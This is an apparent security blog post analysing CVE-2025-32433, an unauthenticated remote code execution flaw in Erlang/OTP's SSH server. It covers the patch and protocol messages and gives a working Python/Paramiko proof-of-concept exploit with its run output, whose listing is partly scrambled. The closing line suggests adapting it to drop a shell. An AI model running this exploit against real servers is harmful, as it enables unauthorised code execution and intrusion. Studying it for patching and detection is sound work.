CVE-2025-32433 is a remote code execution vulnerability in the SSH server implementation within Erlang’s OTP libraries (affecting versions <OTP-27.3.3, <OTP-26.2.5.11, and <OTP-25.3.2.20). It received a legendary CVSS score of 10.0 and became known as a vulnerability for which AI-assisted exploit development process was used.
Analysis
I like looking at the protocol RFCs and attempting to read the code written in unfamiliar programming languages, so here’s another, boots-on-the-ground approach to vulnerability analysis and PoC development.
My test VM is Ubuntu Jammy, thus I’m interested in <OTP-25.3.2.20. Fetching and installing Erlang:
~/Downloads % wget https://binaries2.erlang-solutions.com/ubuntu/pool/contrib/e/esl-erlang/esl-erlang_25.3.2-1~ubuntu~jammy_amd64.deb
~/Downloads % sudo dpkg -i esl-erlang_25.3.2-1\~ubuntu\~jammy_amd64.deb && sudo apt --fix-broken install
Checking if Erlang shell is working:
~/Downloads % erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns]
Eshell V13.2.2 (abort with ^G)
1>
For Erlang/OTP 25, this commit contains a patch, and has two peculiar snippets added:
lib/ssh/src/ssh_connection.erl
<SNIP>
handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) ->
{disconnect, {Code, Description}, handle_stop(Connection)};
handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) ->
%% See RFC4252 6.
%% Message numbers of 80 and higher are reserved for protocols running
%% after this authentication protocol, so receiving one of them before
%% authentication is complete is an error, to which the server MUST
%% respond by disconnecting, preferably with a proper disconnect message
%% sent to ease troubleshooting.
MsgFun = fun(M) ->
MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts),
io_lib:format("Connection terminated. Unexpected message for unauthenticated user."
" Message: ~w", [M],
[{chars_limit, MaxLogItemLen}])
end,
?LOG_DEBUG(MsgFun, [Msg]),
{disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)};
<SNIP>
and
lib/ssh/test/ssh_protocol_SUITE.erl
<SNIP>
early_rce(Config) ->
{ok,InitialState} =
ssh_trpt_test_lib:exec([{set_options, [print_ops, print_seqnums, print_messages]}]),
TypeOpen = "session",
ChannelId = 0,
WinSz = 425984,
PktSz = 65536,
DataOpen = <<>>,
SshMsgChannelOpen = ssh_connection:channel_open_msg(TypeOpen, ChannelId, WinSz, PktSz, DataOpen),
Id = 0,
TypeReq = "exec",
WantReply = true,
DataReq = <<?STRING(<<"lists:seq(1,10).">>)>>,
SshMsgChannelRequest =
ssh_connection:channel_request_msg(Id, TypeReq, WantReply, DataReq),
{ok,AfterKexState} =
ssh_trpt_test_lib:exec(
[{connect,
server_host(Config),server_port(Config),
[{preferred_algorithms,[{kex,[?DEFAULT_KEX]},
{cipher,?DEFAULT_CIPHERS}
]},
{silently_accept_hosts, true},
{recv_ext_info, false},
{user_dir, user_dir(Config)},
{user_interaction, false}
| proplists:get_value(extra_options,Config,[])]},
receive_hello,
{send, hello},
{send, ssh_msg_kexinit},
{match, #ssh_msg_kexinit{_='_'}, receive_msg},
{send, SshMsgChannelOpen},
{send, SshMsgChannelRequest},
{match, disconnect(), receive_msg}
], InitialState),
ok.
<SNIP>
As previously stated, I’m not familiar with Erlang and its syntax, but snippet #1, lib/ssh/src/ssh_connection.erl
, is well-annotated and readable enough. The key parts for me are this check:
Ssh = #ssh{authenticated = false}
and Message numbers of 80 and higher are reserved for protocols running after this authentication protocol
comment.
Sometimes peeking at the source code of a Wireshark dissector is quicker than reading the protocol RFC, so I head out here hoping to find out what SSH protocol messages > #80 do:
epan/dissectors/packet-ssh.c
<SNIP>
/* User authentication protocol: generic (50-59) */
#define SSH_MSG_USERAUTH_REQUEST 50
#define SSH_MSG_USERAUTH_FAILURE 51
#define SSH_MSG_USERAUTH_SUCCESS 52
#define SSH_MSG_USERAUTH_BANNER 53
/* User authentication protocol: method specific (reusable) (50-79) */
#define SSH_MSG_USERAUTH_PK_OK 60
/* Connection protocol: generic (80-89) */
#define SSH_MSG_GLOBAL_REQUEST 80
#define SSH_MSG_REQUEST_SUCCESS 81
#define SSH_MSG_REQUEST_FAILURE 82
/* Connection protocol: channel related messages (90-127) */
#define SSH_MSG_CHANNEL_OPEN 90
#define SSH_MSG_CHANNEL_OPEN_CONFIRMATION 91
#define SSH_MSG_CHANNEL_OPEN_FAILURE 92
#define SSH_MSG_CHANNEL_WINDOW_ADJUST 93
#define SSH_MSG_CHANNEL_DATA 94
#define SSH_MSG_CHANNEL_EXTENDED_DATA 95
#define SSH_MSG_CHANNEL_EOF 96
#define SSH_MSG_CHANNEL_CLOSE 97
#define SSH_MSG_CHANNEL_REQUEST 98
#define SSH_MSG_CHANNEL_SUCCESS 99
#define SSH_MSG_CHANNEL_FAILURE 100
<SNIP>
Message numbers look sequential, so at 80+ the RCE magic likely happens after the handshake, key exchange, and bypassing the authentication phase. It seems that before the patch, Erlang/OTP SSH server had no state machine case that would handle out-of-order protocol messages.
Erlang snippet #2 above, lib/ssh/test/ssh_protocol_SUITE.erl
is a freshly added test case, and contains obvious hints about the specific SSH protocol messages I’ll need to send in order to achieve RCE - MSG_CHANNEL_OPEN
followed by MSG_CHANNEL_REQUEST
.
Attack plan:
- Connect over SSH normally until the key negotiation/exchange phase is complete
- DO NOT PERFORM AUTHENTICATION
- Craft and send
MSG_CHANNEL_OPEN
- Follow up with
MSG_CHANNEL_REQUEST
- ????
- PROFIT!!1
PoC time
Note that I resolve to using paramiko/common.py
for message type constants and paramiko/message.py
that contains Message
class and its respective methods. This way, I could break the normal SSH flow without Paramiko throwing exceptions at me, and still send the RFC-compliant messages. Relevant sections from RFC4254:
6.1. Opening a Session
A session is started by sending the following message.
byte SSH_MSG_CHANNEL_OPEN
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size
6.5. Starting a Shell or a Command
<SNIP>
This message will request that the user's default shell (typically
defined in /etc/passwd in UNIX systems) be started at the other end.
byte SSH_MSG_CHANNEL_REQUEST
uint32 recipient channel
string "exec"
boolean want reply
string command
CVE-2025-32433.py
#!/usr/bin/env python3
import logging
import socket
import time
import paramiko
from paramiko.common import cMSG_CHANNEL_OPEN, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
=logging.INFO)
logging.basicConfig(level= logging.getLogger('paramiko')
logger
logger.setLevel(logging.DEBUG)
def main():
try:
= paramiko.SSHClient()
client
print('Connecting to localhost:10022...\n')
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock connect(('localhost', 10022))
sock.
= paramiko.Transport(sock)
transport
transport.start_client()
print('\nSSH handshake / KEX complete :)\n')
= transport
client._transport
= Message()
m
m.add_byte(# https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L523
cMSG_CHANNEL_OPEN) "session") # channel type
m.add_string(0) # channel id
m.add_int(425984) # window size
m.add_int(65536) # max packet size
m.add_int(print(f"Sending cMSG_CHANNEL_OPEN...")
transport._send_message(m)
0.5)
time.sleep(
= Message()
m2
m2.add_byte(# https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L531
cMSG_CHANNEL_REQUEST) 0) # channel id
m2.add_int("exec") # request type
m2.add_string(False) # don't wait for reply
m2.add_boolean("os:cmd('touch /tmp/erl/nevergonnagiveyouup').") # https://www.erlang.org/doc/apps/kernel/os.html#cmd/2
m2.add_string(print("Sending cMSG_CHANNEL_REQUEST, check RCE...")
transport._send_message(m2)
except Exception as e:
print(f'Error: {e}')
finally:
try:
client.close()except:
pass
if __name__ == '__main__':
main()
Starting vulnerable Erlang SSH server locally:
~ % mkdir -p /tmp/erl && ssh-keygen -q -N "" -t rsa -f /tmp/erl/ssh_host_rsa_key
~ % erl
Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns]
Eshell V13.2.2 (abort with ^G)
1> {ok, _} = application:ensure_all_started(ssh).
{ok,[crypto,asn1,public_key,ssh]}
2> Port = 10022.
10022
3> ssh:daemon(Port, [{system_dir, "/tmp/erl"}]).
{ok,<0.96.0>}
4> inet:i().
Port Module Recv Sent Owner Local Address Foreign Address State Type
40 inet_tcp 0 0 <0.98.0> *:10022 *:* ACCEPTING STREAM
ok
Running PoC:
~ % ./CVE-2025-32433.py
Connecting to localhost:10022...
DEBUG:paramiko.transport:starting thread (client mode): 0xe7770910
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_3.5.0
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-Erlang/4.15.3
INFO:paramiko.transport:Connected (version 2.0, client Erlang/4.15.3)
DEBUG:paramiko.transport:=== Key exchange possibilities ===
DEBUG:paramiko.transport:kex algos: ecdh-sha2-nistp384, ecdh-sha2-nistp521, ecdh-sha2-nistp256, diffie-hellman-group-exchange-sha256, diffie-hellman-group16-sha512, diffie-hellman-group18-sha512, diffie-hellman-group14-sha256, curve25519-sha256, curve25519-sha256@libssh.org, curve448-sha512, ext-info-s
DEBUG:paramiko.transport:server key: rsa-sha2-256, rsa-sha2-512
DEBUG:paramiko.transport:client encrypt: chacha20-poly1305@openssh.com, aes256-gcm@openssh.com, aes256-ctr, aes192-ctr, aes128-gcm@openssh.com, aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc
DEBUG:paramiko.transport:server encrypt: chacha20-poly1305@openssh.com, aes256-gcm@openssh.com, aes256-ctr, aes192-ctr, aes128-gcm@openssh.com, aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc
DEBUG:paramiko.transport:client mac: hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com, hmac-sha2-256, hmac-sha2-512, hmac-sha1-etm@openssh.com, hmac-sha1
DEBUG:paramiko.transport:server mac: hmac-sha2-256-etm@openssh.com, hmac-sha2-512-etm@openssh.com, hmac-sha2-256, hmac-sha2-512, hmac-sha1-etm@openssh.com, hmac-sha1
DEBUG:paramiko.transport:client compress: none, zlib@openssh.com, zlib
DEBUG:paramiko.transport:server compress: none, zlib@openssh.com, zlib
DEBUG:paramiko.transport:client lang: <none>
DEBUG:paramiko.transport:server lang: <none>
DEBUG:paramiko.transport:kex follows: False
DEBUG:paramiko.transport:=== Key exchange agreements ===
DEBUG:paramiko.transport:Kex: curve25519-sha256@libssh.org
DEBUG:paramiko.transport:HostKey: rsa-sha2-512
DEBUG:paramiko.transport:Cipher: aes128-ctr
DEBUG:paramiko.transport:MAC: hmac-sha2-256
DEBUG:paramiko.transport:Compression: none
DEBUG:paramiko.transport:=== End of kex handshake ===
DEBUG:paramiko.transport:kex engine KexCurve25519 specified hash_algo <built-in function openssl_sha256>
DEBUG:paramiko.transport:Switch to new keys ...
DEBUG:paramiko.transport:Got EXT_INFO: {'server-sig-algs': b'ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256,ssh-ed25519,ssh-ed448,rsa-sha2-256,rsa-sha2-512'}
SSH handshake / KEX complete :)
Sending cMSG_CHANNEL_OPEN...
Sending cMSG_CHANNEL_REQUEST, check RCE...
~ % ls /tmp/erl
nevergonnagiveyouup ssh_host_rsa_key ssh_host_rsa_key.pub
Modifying PoC to run a different command / drop a shell is an easy part and is left to your discretion. ;)
Thanks for reading!